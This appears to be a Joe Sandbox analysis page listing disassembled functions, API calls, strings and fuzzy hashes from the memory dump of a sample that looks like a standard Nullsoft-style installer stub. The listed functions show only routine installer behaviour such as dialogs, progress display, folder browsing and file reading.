String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Null, xrefs: 00403029
Error launching installer, xrefs: 00402F80
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
soft, xrefs: 00403020
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B
\, xrefs: 0040677A

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
